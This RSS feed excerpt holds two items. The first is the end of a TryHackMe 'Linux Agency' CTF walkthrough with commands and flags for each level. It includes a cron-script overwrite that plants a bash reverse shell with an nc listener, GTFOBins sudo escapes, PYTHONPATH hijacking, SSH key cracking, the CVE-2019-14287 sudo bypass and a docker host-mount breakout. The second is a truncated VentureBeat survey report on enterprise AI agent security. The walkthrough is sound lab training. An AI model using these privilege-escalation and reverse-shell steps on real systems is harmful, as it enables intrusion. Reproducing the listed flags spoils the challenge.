encoding/decoding. Strings ending with </em><em>= or </em><em>== are almost always Base64-encoded. The </em><em>base64 -d flag decodes them directly in the terminal.</em></blockquote><h3>🎯 Mission 15 — Binary → ASCII</h3><pre># As mission14:<br>cat /home/mission14/flag.txt<br># You'll see binary digits: 01101101 01101001 ...</pre><p>Convert the binary to ASCII using Python:</p><pre>python3 -c "<br>binary = '01101101 01101001 01110011 01110011 01101001 01101111 01101110 00110001 00110101'<br>chars = binary.split()<br>result = ''.join([chr(int(b, 2)) for b in chars])<br>print(result)<br>"</pre><p>Or use an online tool: <a href="https://www.rapidtables.com/convert/number/binary-to-ascii.html">https://www.rapidtables.com/convert/number/binary-to-ascii.html</a></p><pre>su mission15<br># Password: mission15{fc4915d818bfaeff01185c3547f25596}</pre><blockquote><strong>💡 What we learned:</strong><em> Binary → ASCII conversion. Recognizing encoding formats on sight is a key CTF skill.</em></blockquote><h3>🎯 Mission 16 — Hex → ASCII</h3><pre># As mission15:<br>cat /home/mission15/flag.txt | xxd -r -p</pre><p>xxd -r -p converts a raw hex string directly back to ASCII.</p><pre>su mission16<br># Password: mission16{884417d40033c4c2091b44d7c26a908e}</pre><blockquote><strong>💡 What we learned:</strong><em> Hex decoding. </em><em>xxd dumps hex (-p for plain hex), and with </em><em>-r it reverses the process.</em></blockquote><h3>🎯 Mission 17 — Execute Permission</h3><pre># As mission16:<br>ls -la /home/mission16/<br># There's a 'flag' binary but it has no execute permission<br>chmod u+x /home/mission16/flag<br>./flag</pre><pre>su mission17<br># Password: mission17{49f8d1348a1053e221dfe7ff99f5cbf4}</pre><h3>🎯 Mission 18 — Java</h3><pre># As mission17:<br>ls /home/mission17/<br># flag.java found<br>cd /home/mission17/<br>javac flag.java      # Compile<br>java flag            # Run</pre><pre>su mission18<br># Password: mission18{f09760649986b489cda320ab5f7917e8}</pre><blockquote><strong>💡 What we learned:</strong><em> Java compilation workflow: </em><em>javac compiles </em><em>.java → </em><em>.class, then </em><em>java runs the class.</em></blockquote><h3>🎯 Mission 19 — Ruby</h3><pre># As mission18:<br>ruby /home/mission18/flag.rb</pre><pre>su mission19<br># Password: mission19{a0bf41f56b3ac622d808f7a4385254b7}</pre><h3>🎯 Mission 20 — C Language</h3><pre># As mission19:<br>cd /home/mission19/<br>gcc flag.c -o flag   # Compile<br>./flag               # Run</pre><pre>su mission20<br># Password: mission20{b0482f9e90c8ad2421bf4353cd8eae1c}</pre><blockquote><strong>💡 What we learned:</strong><em> C compilation: </em><em>gcc source.c -o output_name then </em><em>./output_name to execute.</em></blockquote><h3>🎯 Mission 21 — Python</h3><pre># As mission20:<br>python3 /home/mission20/flag.py</pre><pre>su mission21<br># Password: mission21{7de756aabc528b446f6eb38419318f0c}</pre><h3>🎯 Mission 22 — Restricted Shell Escape (script)</h3><p>When you log in as <strong>mission21</strong>, you’re dropped into a restricted shell. Escape using:</p><pre>script -qc /bin/bash /dev/null</pre><p>This spawns a full bash shell. Now check .bashrc:</p><pre>cat ~/.bashrc<br># You'll find a Base64-encoded string<br>echo '&lt;base64_string&gt;' | base64 -d</pre><pre>su mission22<br># Password: mission22{24caa74eb0889ed6a2e6984b42d49aaf}</pre><blockquote><strong>💡 What we learned:</strong><em> Restricted shell escape using the </em><em>script command, which opens a new terminal session. Always check </em><em>.bashrc and </em><em>.bash_profile — attackers hide data there, and defenders do too.</em></blockquote><h3>🎯 Mission 23 — Python Interpreter Shell Escape</h3><p>Logging in as <strong>mission22</strong> drops you into a Python REPL. Escape to bash:</p><pre>import pty<br>pty.spawn("/bin/bash")</pre><p>Now read the flag:</p><pre>cat /home/mission22/flag.txt</pre><pre>su mission23<br># Password: mission23{3710b9cb185282e3f61d2fd8b1b4ffea}</pre><blockquote><strong>💡 What we learned:</strong><em> Python </em><em>pty.spawn() for shell escape — this is also a standard technique for upgrading dumb reverse shells to fully interactive TTYs in real engagements!</em></blockquote><h3>🎯 Mission 24 — Virtual Host + cURL</h3><pre># As mission23:<br>cat /home/mission23/message.txt<br>cat /etc/hosts<br># You'll see mission24.com mapped to 127.0.0.1<br>curl http://mission24.com -s | grep mission</pre><pre>su mission24<br># Password: mission24{dbaeb06591a7fd6230407df3a947b89c}</pre><blockquote><strong>💡 What we learned:</strong><em> Virtual hosting — the </em><em>/etc/hosts file acts as a local DNS resolver. In real engagements, always check </em><em>/etc/hosts for internal hostnames that reveal additional attack surface.</em></blockquote><h3>🎯 Mission 25 — Binary Analysis + viminfo</h3><pre># As mission24:<br>ls /home/mission24/<br>file bribe              # Check the file type<br>./bribe                 # Execute it — it writes to .viminfo<br>grep mission /home/mission24/.viminfo</pre><pre>su mission25<br># Password: mission25{61b93637881c87c71f220033b22a921b}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>file command identifies file types regardless of extension. </em><em>.viminfo is a hidden file storing Vim history — always run </em><em>ls -la to catch hidden files!</em></blockquote><h3>🎯 Mission 26 — PATH Manipulation</h3><p>Logging in as <strong>mission25</strong> gives you a broken environment — commands don’t work because $PATH is corrupted.</p><pre>echo $PATH<br># Empty or wrong PATH</pre><pre>export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin<br>ls -lhA<br>cat flag.txt</pre><pre>su mission26<br># Password: mission26{cb6ce977c16c57f509e9f8462a120f00}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>$PATH environment variable defines where the shell looks for executables. This concept is the foundation of PATH hijacking attacks — one of the most common Linux PrivEsc vectors.</em></blockquote><h3>🎯 Mission 27 — Steganography with strings</h3><pre># As mission26:<br>ls /home/mission26/<br>strings -n 20 /home/mission26/flag.jpg</pre><p>strings extracts human-readable strings from binary files. -n 20 filters results to strings of at least 20 characters.</p><pre>su mission27<br># Password: mission27{444d29b932124a48e7dddc0595788f4d}</pre><blockquote><strong>💡 What we learned:</strong><em> Basic steganography — data hidden inside image files. </em><em>strings is a quick first step when analyzing any binary or media file during a CTF or real engagement.</em></blockquote><h3>🎯 Mission 28 — Absurdly Long Filename</h3><pre># As mission27:<br>ls /home/mission27/<br>less flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz</pre><p>Yes, the filename is exactly that long. less handles it fine.</p><pre>su mission28<br># Password: mission28{03556f8ca983ef4dc26d2055aef9770f}</pre><h3>🎯 Mission 29 — Ruby Interpreter + Reverse String</h3><p>Logging in as <strong>mission28</strong> drops you into a Ruby REPL.</p><p><strong>Option 1 — Escape to shell:</strong></p><pre>exec "/bin/bash"</pre><p><strong>Option 2 — Read the file directly from Ruby:</strong></p><pre>Dir.chdir("/home/mission28")<br>puts File.open("txt.galf").readlines</pre><p>The flag is written in reverse! You’ll see something like:</p><pre>'}1fff2ad47eb52e68523621b8d50b2918{92noissim'</pre><p>Reverse it:</p><pre>'}1fff2ad47eb52e68523621b8d50b2918{92noissim'.reverse</pre><pre>su mission29<br># Password: mission29{8192b05d8b12632586e25be74da2fff1}</pre><blockquote><strong>💡 What we learned:</strong><em> Ruby interpreter escape. String reversal is a common obfuscation technique in CTFs. Also notice the filename </em><em>txt.galf — that's </em><em>flag.txt reversed!</em></blockquote><h3>🎯 Mission 30 — Bludit CMS Enumeration</h3><pre># As mission29:<br>ls /home/mission29/<br>grep -rn "mission30" /home/mission29/bludit/</pre><p>The flag is buried inside Bludit CMS’s file structure.</p><pre>su mission30<br># Password: mission30{d25b4c9fac38411d2fcb4796171bda6e}</pre><h3>🎯 Viktor — Git History</h3><pre># As mission30:<br>ls /home/mission30/<br>cd /home/mission30/Escalator/<br>git --no-pager log</pre><p>Browse the git commit history — the flag is hidden in there.</p><pre>su viktor<br># Password: viktor{b52c60124c0f8f85fe647021122b3d9a}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>git log reveals commit history. In real-world pentesting, exposed git repositories are a goldmine — credentials, API keys, and internal logic are frequently committed and never properly removed.</em></blockquote><h3>🔓 Task 4: Privilege Escalation</h3><p>You’re now <strong>viktor</strong>. The “special targets” phase begins — each user requires a different privilege escalation technique.</p><h3>🎯 Dalia — Cron Job Exploitation</h3><pre># As viktor:<br>cat /etc/crontab</pre><p>Output:</p><pre>* * * * * root bash /opt/scripts/47.sh</pre><p>Root runs /opt/scripts/47.sh every minute. Check the script and your permissions:</p><pre>cat /opt/scripts/47.sh<br>ls -la /opt/scripts/47.sh<br># You have write access!</pre><p><strong>Step 1:</strong> Create your reverse shell payload:</p><pre>vim /tmp/eop.sh</pre><p>Contents:</p><pre>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/127.0.0.1/9999 0&gt;&amp;1</pre><p><strong>Step 2:</strong> Base64-encode it and overwrite the cron script:</p><pre>cat /tmp/eop.sh | base64 -w 0<br># Copy the output, then:<br>echo 'IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx' | base64 -d &gt; /opt/scripts/47.sh</pre><p><strong>Step 3:</strong> Set up your listener:</p><pre>nc -nlvp 9999</pre><p>Wait up to 60 seconds. The cron job fires and you get a shell as <strong>dalia</strong>:</p><pre># In the received shell:<br>id<br># uid=1000(dalia) ...<br>cat /home/dalia/flag.txt</pre><p><strong>Upgrade the shell (important for stability):</strong></p><pre>python3 -c 'import pty;pty.spawn("/bin/bash")'<br>export TERM=xterm<br>export SHELL=bash<br># Press Ctrl+Z<br>stty raw -echo; fg</pre><p>Flag: dalia{4a94a7a7bb4a819a63a33979926c77dc}</p><blockquote><strong>💡 What we learned:</strong><em> Cron job exploitation — one of the most common Linux PrivEsc vectors in the wild. The checklist: find writable scripts executed by root → inject reverse shell → wait. Always enumerate </em><em>/etc/crontab, </em><em>/etc/cron.d/, and </em><em>/var/spool/cron/.</em></blockquote><h3>🎯 Silvio — sudo + zip (GTFOBins)</h3><pre># As dalia:<br>sudo -l<br># (dalia) NOPASSWD: /usr/bin/zip as silvio</pre><p>From GTFOBins — zip sudo escape:</p><pre>TF=$(mktemp -u)<br>sudo -u silvio zip $TF /etc/hosts -T -TT 'sh #'</pre><pre>id<br># uid=... (silvio)<br>cat /home/silvio/flag.txt</pre><p>Flag: silvio{657b4d058c03ab9988875bc937f9c2ef}</p><blockquote><strong>💡 What we learned:</strong><em> </em><a href="https://gtfobins.github.io/"><em>GTFOBins</em></a><em> — the essential reference for abusing binaries with sudo, SUID, or capabilities. When you see </em><em>sudo -l, immediately cross-reference every allowed binary against GTFOBins.</em></blockquote><h3>🎯 Reza — sudo + git (GTFOBins)</h3><pre># As silvio:<br>sudo -l<br># (silvio) NOPASSWD: /usr/bin/git as reza</pre><p>GTFOBins git sudo escape (uses PAGER environment variable):</p><pre>sudo -u reza PAGER='sh -c "exec sh 0&lt;&amp;1"' git -p help</pre><pre>id<br># uid=... (reza)<br>cat /home/reza/flag.txt</pre><p>Flag: reza{2f1901644eda75306f3142d837b80d3e}</p><blockquote><strong>💡 What we learned:</strong><em> Git’s </em><em>--paginate (</em><em>-p) feature invokes a pager, and by hijacking the </em><em>PAGER env variable we execute arbitrary commands. Many programs that invoke external processes are susceptible to this pattern.</em></blockquote><h3>🎯 Jordan — PYTHONPATH Hijacking</h3><pre># As reza:<br>sudo -l<br># (reza) NOPASSWD: /opt/scripts/Gun-Shop.py as jordan</pre><p>Run the script:</p><pre>sudo -u jordan /opt/scripts/Gun-Shop.py<br># Error: No module named 'shop'</pre><p>The script imports a module called shop which doesn't exist. We can create it in a directory we control:</p><p><strong>Step 1:</strong> Create a malicious shop module:</p><pre>mkdir -p /tmp/shop<br>echo 'import os; os.system("/bin/bash")' &gt; /tmp/shop/shop.py</pre><p><strong>Step 2:</strong> Override PYTHONPATH so Python finds our module first:</p><pre>sudo -u jordan PYTHONPATH=/tmp/shop/ /opt/scripts/Gun-Shop.py</pre><pre>id<br># uid=... (jordan)<br>cat /home/jordan/flag.txt</pre><p>Flag: jordan{fcbc4b3c31c9b58289b3946978f9e3c3}</p><blockquote><strong>💡 What we learned:</strong><em> Python module hijacking — a real-world PrivEsc technique. </em><em>PYTHONPATH tells Python where to search for modules before the standard library paths. If an attacker controls a directory early in that path, they can substitute any module with malicious code.</em></blockquote><h3>🎯 Ken — sudo + less (GTFOBins)</h3><pre># As jordan:<br>sudo -l<br># (jordan) NOPASSWD: /usr/bin/less as ken</pre><pre>sudo -u ken /usr/bin/less /etc/profile</pre><p>Once less opens, type ! followed by:</p><pre>!/bin/sh</pre><p>Press Enter — you drop into a shell as <strong>ken</strong>.</p><pre>id<br>cat /home/ken/flag.txt</pre><p>Flag: ken{4115bf456d1aaf012ed4550c418ba99f}</p><h3>🎯 Sean — sudo + vim (GTFOBins)</h3><pre># As ken:<br>sudo -l<br># (ken) NOPASSWD: /usr/bin/vim as sean</pre><pre>sudo -u sean vim -c ':!/bin/sh'</pre><p>The -c flag runs a Vim command on startup. :!/bin/sh executes a shell command from within Vim.</p><pre>id<br>cat /home/sean/flag.txt</pre><p>Flag: sean{4c5685f4db7966a43cf8e95859801281}</p><blockquote><strong>💡 What we learned:</strong><em> Vim is far more than a text editor — it can execute shell commands, run scripts, and spawn processes. Granting </em><em>sudo vim to any user is effectively granting root.</em></blockquote><h3>🎯 Penelope — Password Hidden in Base64</h3><pre># As sean:<br>printf %s 'VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==' | base64 -d<br># Output: "The password of penelope is p3nelope"</pre><pre>su penelope<br># Password: p3nelope<br>cat /home/penelope/flag.txt</pre><p>Flag: penelope{2da1c2e9d2bd0004556ae9e107c1d222}</p><h3>🎯 Maya — SUID base64 (GTFOBins)</h3><pre># As penelope:<br>ls -lhA /home/penelope/<br># A 'base64' binary with the SUID bit set!</pre><p>GTFOBins SUID base64 exploit — read files as the binary’s owner:</p><pre>LFILE=/home/maya/flag.txt<br>./base64 "$LFILE" | base64 -d</pre><p>Flag: maya{a66e159374b98f64f89f7c8d458ebb2b}</p><blockquote><strong>💡 What we learned:</strong><em> SUID (Set User ID) — when set on a binary, it executes with the file owner’s privileges rather than the caller’s. Find SUID binaries with: </em><em>find / -perm -4000 2&gt;/dev/null. Cross-reference every result with GTFOBins.</em></blockquote><h3>🎯 Robert — SSH Private Key Cracking</h3><pre># As maya:<br>ls -lhA /home/maya/<br>ls -lhA /home/maya/old_robert_ssh/<br># id_rsa and id_rsa.pub found</pre><p><strong>Step 1:</strong> Copy the private key to your local machine (new terminal tab):</p><pre>scp maya@&lt;IP&gt;:/home/maya/old_robert_ssh/id_rsa ./id_rsa_robert<br>chmod 600 id_rsa_robert</pre><p><strong>Step 2:</strong> Convert the key to a crackable hash:</p><pre>ssh2john id_rsa_robert &gt; robert_ssh_hash.txt</pre><p><strong>Step 3:</strong> Crack it with John the Ripper:</p><pre>john robert_ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt</pre><p><strong>Result:</strong> industryweapon</p><p><strong>Step 4:</strong> Find Robert’s SSH port on the target:</p><pre># On the target machine:<br>ss -nlpt | grep 22<br># Port 2222 is listening</pre><p><strong>Step 5:</strong> Connect:</p><pre>ssh robert@127.0.0.1 -p 2222 -i id_rsa_robert<br># Passphrase: industryweapon<br>cat /home/robert/user.txt</pre><p>Flag (user.txt): user{620fb94d32470e1e9dcf8926481efc96}</p><blockquote><strong>💡 What we learned:</strong><em> SSH private key cracking — </em><em>ssh2john extracts the hash, </em><em>john cracks it. In real engagements, always look for </em><em>id_rsa files in home directories, backup folders, and </em><em>.ssh/ directories. Encrypted keys with weak passphrases are a common finding.</em></blockquote><h3>👑 Root — Two-Stage Escalation</h3><h3>Stage 1: CVE-2019–14287 (Sudo User ID Bypass)</h3><pre># As robert:<br>sudo --version<br># Reveals a vulnerable version (&lt; 1.8.28)<br>sudo -u#-1 /bin/bash<br>whoami<br># root!</pre><p><strong>How it works:</strong> This is <strong>CVE-2019–14287</strong>. When a sudoers rule allows a user to run commands as any user, passing -u#-1 causes sudo to interpret the user ID as 0 (root) due to an integer overflow in how sudo handles negative UIDs. Patched in sudo 1.8.28.</p><pre>cd /root<br>ls</pre><h3>Stage 2: Docker Group → Root (root.txt)</h3><pre># As root (inside the container/restricted environment):<br>id<br># You're in the docker group<br>find / -name docker 2&gt;/dev/null<br># Found at /tmp/docker or similar<br>./docker ps -a<br>./docker image ls<br># "mangoman" image exists</pre><p>Mount the host filesystem into a container and chroot into it:</p><pre>./docker run -v /:/mnt --rm -it mangoman chroot /mnt sh</pre><pre>id<br># uid=0(root) gid=0(root) — TRUE host root<br>cat /root/root.txt</pre><p>Flag (root.txt): root{62ca2110ce7df377872dd9f0797f8476}</p><blockquote><strong>💡 What we learned:</strong><em> Docker group membership is equivalent to root access. </em><em>-v /:/mnt mounts the entire host filesystem into the container, and </em><em>chroot /mnt makes the container treat the host filesystem as its root. This is a well-documented container escape — never add untrusted users to the </em><em>docker group.</em></blockquote><h3>🏆 Flags Summary</h3><p>User Technique Category mission1–11 find / grep / cat Basic enumeration mission12 env Environment variables mission13 chmod File permissions mission14 base64 -d Encoding mission15 Binary → ASCII Encoding mission16 xxd -r -p (Hex) Encoding mission17 chmod u+x Execute permissions mission18 javac + java Java compilation mission19 ruby Scripting mission20 gcc C compilation mission21 python3 Scripting mission22 script -qc Restricted shell escape mission23 pty.spawn() Python interpreter escape mission24 curl + /etc/hosts Virtual hosting mission25 strings + .viminfo Binary analysis mission26 export PATH PATH manipulation mission27 strings on image Steganography mission28 less Long filename edge case mission29 exec in Ruby + .reverse Ruby escape + obfuscation mission30 grep -r in CMS File enumeration viktor git log Git history dalia Writable cron script Cron job exploitation silvio sudo zip GTFOBins reza sudo git + PAGER GTFOBins jordan PYTHONPATH hijack Module hijacking ken sudo less + ! GTFOBins sean sudo vim -c GTFOBins penelope Base64 password Encoded credentials maya SUID base64 SUID exploitation robert ssh2john + john SSH key cracking root (user.txt) sudo -u#-1 CVE-2019-14287 root (root.txt) docker run -v /:/mnt Docker breakout</p><h3>🧠 Key Takeaways</h3><p><strong>Linux Fundamentals:</strong></p><ul><li>ls -la always — hidden files, permissions at a glance</li><li>find and grep -r for wide enumeration</li><li>env for environment variable inspection</li><li>file to identify file types regardless of extension</li><li>strings to extract readable data from binaries</li></ul><p><strong>Encoding &amp; Decoding:</strong></p><ul><li>Base64 (base64 -d), Hex (xxd -r -p), Binary (Python one-liner)</li><li>Reversed strings — check file content and filenames alike</li></ul><p><strong>Scripting Languages:</strong></p><ul><li>Python: pty.spawn("/bin/bash") for shell upgrade</li><li>Ruby: exec "/bin/bash" or Dir/File for file ops</li><li>Java: javac → java, C: gcc → ./binary</li></ul><p><strong>Privilege Escalation Checklist:</strong></p><ol><li>sudo -l → GTFOBins</li><li>find / -perm -4000 2&gt;/dev/null → SUID binaries → GTFOBins</li><li>cat /etc/crontab + ls /etc/cron.d/ → writable scripts run by root</li><li>id → check group memberships (docker!)</li><li>Check $PATH, env variables, writable directories in PATH</li></ol><h3>📚 Resources</h3><ul><li>🔗 <a href="https://gtfobins.github.io/">GTFOBins</a> — sudo/SUID binary exploitation reference</li><li>🔗 <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md">PayloadsAllTheThings — Reverse Shell Cheatsheet</a></li><li>🔗 <a href="https://www.exploit-db.com/exploits/47502">Exploit-DB: CVE-2019–14287</a></li><li>🔗 <a href="https://tryhackme.com/room/sudovulnsbypass">TryHackMe: Sudo Security Bypass</a></li><li>🔗 <a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation">HackTricks: Docker Breakout</a></li><li>🔗 <a href="https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html">RapidTables Converter</a></li></ul><h3>💬 Final Thoughts</h3><p><strong>Linux Agency</strong> is not just a CTF room — it’s a condensed simulation of a real lateral movement and privilege escalation engagement. The 30-user chain forces you to internalize Linux enumeration as a reflex, not a checklist. The privilege escalation phase covers more ground than most dedicated PrivEsc rooms.</p><p>If you’re preparing for <strong>OSCP</strong>, <strong>CPTS</strong> or any practical security certification, this room belongs in your training regimen. Do it without hints first, refer to this write-up only when truly stuck — the struggle is where the learning happens.</p><p><em>Happy Hacking! 🐧</em></p><p><em>Tags: #TryHackMe #CTF #LinuxAgency #PrivilegeEscalation #Linux #Pentesting #CyberSecurity #OSCP #GTFOBins #WriteUp</em></p><p><em>If you found this useful, feel free to connect on </em><a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a><em> or check out my tools on </em><a href="https://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=82a20bd23d67" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-linux-agency-complete-write-up-walkthrough-82a20bd23d67">TryHackMe — Linux Agency | Complete Write-Up &amp; Walkthrough</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 16 Jul 2026 21:47:26 +0200</pubDate>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change 